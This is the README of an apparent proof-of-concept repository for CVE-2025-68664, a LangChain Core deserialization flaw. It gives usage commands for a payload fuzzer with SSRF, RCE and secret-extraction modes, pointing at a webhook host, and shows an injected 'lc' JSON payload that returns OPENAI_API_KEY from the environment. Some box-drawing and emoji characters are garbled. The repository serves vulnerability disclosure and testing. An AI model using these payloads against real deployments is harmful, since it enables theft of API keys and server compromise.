A testing framework to identify and demonstrate deserialization vulnerabilities in LangChain Core (<0.3.81). Educational use only
LangGrinch-PoC/
โ
โโโ README.md # Main documentation & writeup
โโโ PAYLOADS.md # Complete payload arsenal (55+)
โโโ langgrinch_fuzzer.py # Python payload generator & tester
โโโ requirements.txt # Python dependencies
โโโ LICENSE # MIT License
# Clone the repository
git clone https://github.com/Ak-cybe/LangGrinch-PoC.git
cd LangGrinch-PoC
# Install dependencies
pip install -r requirements.txt
# List all available payloads
python langgrinch_fuzzer.py --list
# Show payloads by category
python langgrinch_fuzzer.py --category recon
python langgrinch_fuzzer.py --category ssrf
python langgrinch_fuzzer.py --category rce
# Generate custom secret extraction payload
python langgrinch_fuzzer.py --secret MY_API_KEY
# Generate custom SSRF payload
python langgrinch_fuzzer.py --ssrf http://your-webhook.com/
# Export all payloads to JSON
python langgrinch_fuzzer.py --export payloads.json
Matrix GIF
CVE-2025-68664 (Codename: LangGrinch) is a critical serialization injection vulnerability discovered in the LangChain Core Python package. This vulnerability allows attackers to inject malicious lc markers through LLM outputs or user-controlled dictionaries, enabling:
โก Quick Stats
|
๐ฏ Affected Versions
|
| Property | Value |
|---|---|
| ๐ CVE ID | CVE-2025-68664 |
| ๐ท๏ธ Codename | LangGrinch |
| ๐ Severity | CRITICAL ๐ด |
| ๐ CWE | CWE-502 (Deserialization of Untrusted Data) |
| ๐ฆ Affected Package | langchain-core |
| โ ๏ธ Vulnerable Versions | < 0.3.81 AND >= 1.0.0, < 1.2.5 |
| โ Patched Versions | 0.3.81+, 1.2.5+ |
LangChain is a popular Python framework used to build applications with Large Language Models (LLMs). It is widely deployed across various industries:
| ๐ข Use Case | ๐ Description |
|---|---|
| ๐ค AI Chatbots | Customer service, support agents |
| ๐ RAG Systems | Retrieval-Augmented Generation |
| ๐ง AI Agents | Autonomous task execution |
| ๐ Data Processing | Document analysis, summarization |
| ๐ Workflow Automation | AI-powered pipelines |
LangChain's internal serialization format uses a special marker - the lc key. When a dictionary contains the lc key, the LangChain deserializer treats it as a "trusted LangChain serialized object."
The bug is:
dumps() / dumpd() functions do NOT escape/neutralize the lc key in user/LLM-controlled dictionariesload() / loads(), the injected structure is processed as an internal object๐ VULNERABILITY CHAIN:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ๐ User/LLM Input โ Dictionary with malicious "lc" marker โ
โ โ โ
โ ๐พ Application serializes data (dumps/dumpd) โ
โ โ โ
โ โ ๏ธ "lc" key NOT escaped - remains in serialized form โ
โ โ โ
โ ๐ Later: Data deserialized (load/loads) โ
โ โ โ
โ ๐ฏ Deserializer sees "lc" โ Treats as LangChain object! โ
โ โ โ
โ ๐ Secret resolution / Object instantiation triggered โ
โ โ โ
โ ๐ฅ SECRETS LEAKED / SSRF / RCE โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
In LangChain's serialization format, the presence of "lc": 1 inside a dictionary indicates that it is a LangChain serialized object, not normal user data:
{
"lc": 1,
"type": "secret",
"id": ["OPENAI_API_KEY"]
}
When the deserializer encounters this structure:
lc == 1 confirms it's a LangChain objecttype == "secret" triggers the secret resolution pathid arrayos.environ["OPENAI_API_KEY"] value is returned!